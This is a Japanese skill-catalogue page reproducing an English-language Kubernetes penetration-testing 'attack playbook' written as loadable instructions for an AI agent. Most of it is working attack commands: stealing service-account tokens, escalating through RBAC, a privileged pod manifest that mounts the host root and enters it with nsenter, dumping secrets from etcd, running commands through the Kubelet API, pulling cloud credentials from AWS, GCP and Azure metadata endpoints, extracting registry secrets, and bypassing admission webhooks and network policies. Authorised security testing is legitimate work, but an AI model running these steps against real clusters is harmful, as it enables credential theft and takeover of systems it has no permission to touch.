Agent Skills by ALSEL
Anthropic Claudeソフトウェア開発⭐ リポ 0品質スコア 50/100

kubernetes-pentesting

Kubernetesクラスターへの侵入テスト手順書。APIサーバーへの攻撃、RBACの列挙、サービスアカウントの悪用、etcdへのアクセス、Kubelet API、Podエスケープ、クラウド固有のメタデータ取得、アドミッションWebhookのバイパス、レジストリシークレットの窃取など、Kubernetesを対象としたペネトレーションテストを実施する際に使用します。

description の原文を見る

>- Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets.

SKILL.md 本文

SKILL: Kubernetes Pentesting — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.

0. RELATED ROUTING

詳しい説明の前に、以下のスキルの読み込みを検討してください:

  • container-escape-techniques — 侵害されたポッドから基盤となるノードへのエスケープ用
  • linux-privilege-escalation — ノード上でroot昇格用
  • linux-lateral-movement — ノード間のピボット用
  • linux-security-bypass — Pod Security StandardsやSeccompプロファイルで制限される場合用
  • ssrf-server-side-request-forgery — SSRFを利用してK8s APIやクラウドメタデータにアクセスする場合用

1. K8S API SERVER ACCESS

1.1 匿名アクセスチェック

# 匿名認証が有効かどうか確認 (デフォルト: 最新クラスターでは制限される)
curl -sk https://APISERVER:6443/api/v1/namespaces
curl -sk https://APISERVER:6443/version
curl -sk https://APISERVER:6443/api
curl -sk https://APISERVER:6443/apis

# Common API server ports:
# 6443 — secure API (default)
# 8443 — alternative secure
# 8080 — insecure API (legacy, no auth needed)

1.2 トークンベース認証 (ポッド内部から)

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"

curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods

1.3 証明書 / Kubeconfig認証

# 一般的なkubeconfigの場所: ~/.kube/config, /etc/kubernetes/admin.conf,
# /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig
kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces

2. RBAC ENUMERATION

2.1 自分の権限チェック

# 何ができるか?
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system

# 特定の権限チェック
kubectl auth can-i create pods
kubectl auth can-i create pods -n kube-system
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'     # Full cluster admin?

# APIから (ポッド内部):
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -H "Content-Type: application/json" \
  -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"

2.2 RoleとClusterRole Enumeration

kubectl get roles --all-namespaces && kubectl get clusterroles
kubectl describe clusterrole CLUSTER_ROLE_NAME

# 過度な権限のロール (ワイルドカード動詞/リソース) を検出:
kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]'

2.3 危険なRBAC権限

権限リスク昇格パス
pods/execCritical任意のポッドへのexec (シークレット、トークンへのアクセス)
pods (create)Critical特権ポッドを作成 → ノードアクセス
secrets (get/list)CriticalSAトークン含む全シークレットを読取
serviceaccounts/token (create)Critical任意のSAのトークンを生成
nodes/proxyHighKubelet APIへのプロキシ
escalate on rolesCritical任意の権限を自分に付与
bind on rolebindingsCritical任意のロールを自分にバインド
impersonateCritical任意のユーザー/SAになりすまし

3. SERVICE ACCOUNT TOKEN ABUSE

3.1 トークンの場所とデコード

# デフォルトマウントポイント
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# JWTをデコード (検証不要)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# 表示: namespace, service account name, expiry

3.2 Service Accountを通じた昇格

# SAが昇格権限を持つ場合 — シークレットをダンプ、特権ポッドを作成:
kubectl get secrets --all-namespaces
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata: { name: privesc }
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine
    command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"]
    securityContext: { privileged: true }
    volumeMounts: [{ name: hostfs, mountPath: /host }]
  volumes: [{ name: hostfs, hostPath: { path: / }}]
EOF

3.3 トークン生成

# serviceaccounts/token createパーミッションがある場合:
kubectl create token admin-sa -n kube-system --duration=87600h

4. ETCD DIRECT ACCESS

# 匿名アクセスをチェック (マスターノード上のポート2379):
curl -sk https://ETCD_IP:2379/version

# マスターノードの証明書を使用 (/etc/kubernetes/pki/etcd/):
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \
  --cacert=ca.crt --cert=server.crt --key=server.key \
  get / --prefix --keys-only | grep secrets

# 特定のシークレットをダンプ:
ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret

5. POD ESCAPE TO NODE

container-escape-techniquesを参照して詳細なエスケープチェーンを確認してください。

K8s固有のベクトルの簡易リファレンス:

ベクトル要件コマンド
hostPIDspec.hostPID: truensenter -t 1 -m -u -i -n -p -- bash
hostNetworkspec.hostNetwork: trueノードサービス (Kubelet, etcd) へのアクセス
hostPath /ホストルートのボリュームマウントchroot /host bash
特権コンテナsecurityContext.privileged: trueホストディスクをマウント / nsenter

6. KUBELET API (Port 10250/10255)

curl -sk https://NODE_IP:10250/pods        # 匿名アクセスチェック
# 10255 = 読み取り専用 (レガシー、HTTP)

# Kubelet経由でポッドにexec (API server RBACをバイパス):
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"

# ログを読み取る:
curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME

7. CLOUD-SPECIFIC ATTACKS

7.1 AWS EKS — IMDS Access

# ポッド内部から (IMDSv1またはホップ制限が適用されていない場合):
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# IAMロール名を返す、その後:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# 一時的なAWS認証情報を返す (AccessKeyId, SecretAccessKey, Token)

# IMDSv2 (トークン必須):
IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# EKS固有: IRSA (IAM Roles for Service Accounts)
# トークン場所: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# 環境変数: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE

7.2 GCP GKE — Metadata API

# GCEメタデータサーバー
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# OAuth2アクセストークンを返す

# 利用可能なスコープをリストアップ
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes

# GKE Workload Identity (設定されている場合):
# ポッドのSAはGCP SAにマッピングされる
# トークンはGCP APIコール用に自動的に利用可能

7.3 Azure AKS — Managed Identity

# Azure IMDS
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Azureアクセストークンを返す

# AKS Pod Identity / Workload Identity
# AZURE_CLIENT_ID, AZURE_TENANT_ID環境変数を確認
env | grep AZURE

8. ADMISSION WEBHOOK BYPASS

戦略コマンド/方法
除外されたネームスペース`kubectl get validatingwebhookconfigurations -o yaml
failurePolicy: Ignorewebhookサーバーがダウン → admission スキップ
Ephemeral containerskubectl debug POD -it --image=alpine (カバーされていない可能性)
Static podsノード上の /etc/kubernetes/manifests/ にマニフェストを配置 (API admission をバイパス)

9. CONTAINER REGISTRY ACCESS

# pull secretsを抽出 (dockerconfigjson):
kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]'

# イメージをプルしてハードコードされたシークレットを検査:
docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc

10. NETWORK POLICY ENUMERATION & BYPASS

kubectl get networkpolicies --all-namespaces
# ポリシーのないネームスペースを検出 (デフォルト許可):
for ns in $(kubectl get ns -o name | cut -d/ -f2); do
    [ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns"
done

バイパス戦略: DNS流出 (ポート53はめったにブロックされない)、許可されたポートトンネリング、保護されていないネームスペース内のポッド、hostNetwork: true はポッドネットワークポリシーを完全にバイパス。


11. TOOLS

ツール目的コマンド
kubectlK8s APIインタラクションkubectl auth can-i --list
kube-hunter自動化されたK8s脆弱性スキャンkube-hunter --remote TARGET
peiratesポッド内部からのK8sペネテスト./peirates
kubesploitK8s用ポストエクスプロイテーションフレームワークエージェントベースC2
CDKコンテナ/K8sエクスプロイテーションツールキット./cdk evaluate
kubeletctlKubelet API と直接インタラクトkubeletctl pods -s NODE_IP
kubeauditクラスター設定ミス監査kubeaudit all

12. KUBERNETES PENTESTING DECISION TREE

Kubernetesマシンへのアクセス?
│
├── ポッド内部?
│   ├── SA tokenを読む → RBACSパーミッションをチェック (§2.1)
│   │   ├── ポッドを作成できる? → 特権ポッドエスケープ (§3.2)
│   │   ├── シークレットを読める? → すべてのシークレットをダンプ (§3.2)
│   │   ├── ポッドにexecできる? → 他のポッドにピボット
│   │   └── 最小限の権限 → Kubelet APIを試す (§6)
│   │
│   ├── クラウド環境?
│   │   ├── AWS → IMDS でIAM認証情報をチェック (§7.1)
│   │   ├── GCP → メタデータでOAuthトークンをチェック (§7.2)
│   │   └── Azure → IMDSでマネージドアイデンティティをチェック (§7.3)
│   │
│   └── ノードにエスケープ? → container-escape-techniques をロード
│
├── ノードへのアクセス?
│   ├── kubeconfigが見つかった? → 完全なクラスターアクセス (§1.3)
│   ├── etcdにアクセス可能? → すべてのシークレットをダンプ (§4)
│   ├── Kubelet cert/key? → API serverアクセス
│   └── Static podマニフェスト? → 特権static podを作成 (§8)
│
├── 外部アクセスのみ?
│   ├── API serverが公開されている? → 匿名/tokenチェック (§1)
│   ├── Kubelet 10250が公開されている? → 直接ポッドexec (§6)
│   ├── etcd 2379が公開されている? → 直接シークレットダンプ (§4)
│   └── Dashboard/UI が公開されている? → 認証バイパス
│
├── RBAC昇格パス?
│   ├── escalate/bindパーミッション? → cluster-adminを付与 (§2.3)
│   ├── impersonateパーミッション? → 管理者として行動 (§2.3)
│   ├── serviceaccounts/token create? → 管理者トークンを鋳造 (§3.3)
│   └── 過度な特権のclusterrole? → ワイルドカードを悪用 (§2.2)
│
└── 直接的な昇格パスがない?
    ├── ネットワークポリシーを列挙 → 保護されていないネームスペースを検出 (§10)
    ├── admission webhookをチェック → バイパスを検出 (§8)
    ├── レジストリイメージをプル → シークレットを検索 (§9)
    └── ノード上の公開サービスをスキャン → Kubelet、etcd

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

汎用ソフトウェア開発⭐ リポ 39,967

doubt-driven-development

重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 1,175

apprun-skills

TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。

by yysun
OpenAIソフトウェア開発⭐ リポ 797

desloppify

コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。

by Git-on-my-level
汎用ソフトウェア開発⭐ リポ 39,967

debugging-and-error-recovery

テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 39,967

test-driven-development

テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 39,967

incremental-implementation

変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。

by addyosmani
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT